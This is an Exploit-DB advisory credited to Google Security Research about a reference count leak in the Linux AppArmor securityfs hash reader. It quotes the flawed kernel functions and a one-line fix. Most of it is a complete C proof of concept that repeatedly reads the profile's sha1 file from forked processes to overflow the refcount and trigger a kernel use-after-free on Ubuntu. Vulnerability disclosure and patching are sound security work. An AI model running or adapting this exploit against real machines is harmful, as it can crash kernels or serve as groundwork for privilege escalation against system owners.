Exploit-DB #40181
Description: AppArmor securityfs < 4.8 - 'aa_fs_seq_hash_show' Reference Count Leak
Type: dos
Platform: linux
Date: 2016-07-29
Author: Google Security Research

Exploit:
/*
There's a reference count leak in aa_fs_seq_hash_show that can be used to overflow the reference counter and trigger a kernel use-after-free

static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
{
	struct aa_replacedby *r = seq->private;
	struct aa_profile *profile = aa_get_profile_rcu(&r->profile); // <--- takes a reference on profile
	unsigned int i, size = aa_hash_size();

	if (profile->hash) {
		for (i = 0; i < size; i++)
			seq_printf(seq, "%.2x", profile->hash[i]);
		seq_puts(seq, "\n");
	}

	return 0;
} // <-- no reference dropped

See attached for a PoC that triggers a use-after-free on an aa_label object on Ubuntu 15.10 with the latest 4.2.0.35 kernel; the Ubuntu kernel appears to use an older version of AppArmor prior to some refactoring, but the same issue is present.

static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
{
	struct aa_replacedby *r = seq->private;
	struct aa_label *label = aa_get_label_rcu(&r->label); // <--- takes a reference on label
	struct aa_profile *profile = labels_profile(label);
	unsigned int i, size = aa_hash_size();

	if (profile->hash) {
		for (i = 0; i < size; i++)
			seq_printf(seq, "%.2x", profile->hash[i]);
		seq_puts(seq, "\n");
	}

	return 0;
} // <--- no reference dropped

I noticed in reproducing this issue that it appears that there has been a patch applied to the very latest Ubuntu kernel shipped in 16.04 that fixes this that hasn't been upstreamed or backported.

The fix is just to correctly drop the acquired reference.

index ad4fa49..798d492 100644
--- a/security/apparmor/apparmorfs.c
+++ b/security/apparmor/apparmorfs.c
@@ -331,6 +331,7 @@ static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
 			seq_printf(seq, "%.2x", profile->hash[i]);
 		seq_puts(seq, "\n");
 	}
+	aa_put_profile(profile);
 
 	return 0;
 }
*/

#include <unistd.h>
#include <fcntl.h>

#include <keyutils.h>

#include <err.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>

#include <sys/apparmor.h>

#define BASE_PATH "/sys/kernel/security/apparmor/policy/profiles/sbin.dhclient.2"
#define HASH_PATH BASE_PATH "/sha1"

void add_references(int hash_fd, int refs_to_add) {
  char buf[1];
  for (int i = 0; i < refs_to_add; ++i) {
    pread(hash_fd, buf, sizeof(buf), 0);
  }
}

int main(int argc, char** argv) {
  int hash_fd;
  int fds[0x100];
  pid_t pid;
  
  hash_fd = open(HASH_PATH, O_RDONLY);
  if (hash_fd < 0) {
    err(-1, "failed to open HASH_PATH");
  }

  fprintf(stderr, "[*] forking to speed up initial reference count increments\n");
  for (int i = 0; i < 0xf; ++i) {
    if (!fork()) {
      add_references(hash_fd, 0x11111100);
      exit(0);
    }
  }
  
  for (int i = 0; i < 0xf; ++i) {
    int status;
    wait(&status);
  }
  fprintf(stderr, "[*] initial reference count increase finished\n");

  fprintf(stderr, "[*] entering profile\n");
  aa_change_profile("/sbin/dhclient");

  pid = fork();
  if (pid) {
    for (int i = 0; i < 0x100; ++i) {
      fds[i] = open("/proc/self/net/arp", O_RDONLY);
    }
  }
  else {
    add_references(hash_fd, 0x100);
    exit(0);
  }

  fprintf(stderr, "[*] past the point of no return");
  sleep(5);

  for (int i = 0; i < 0x100; ++i) {
    close(fds[i]);
  }
}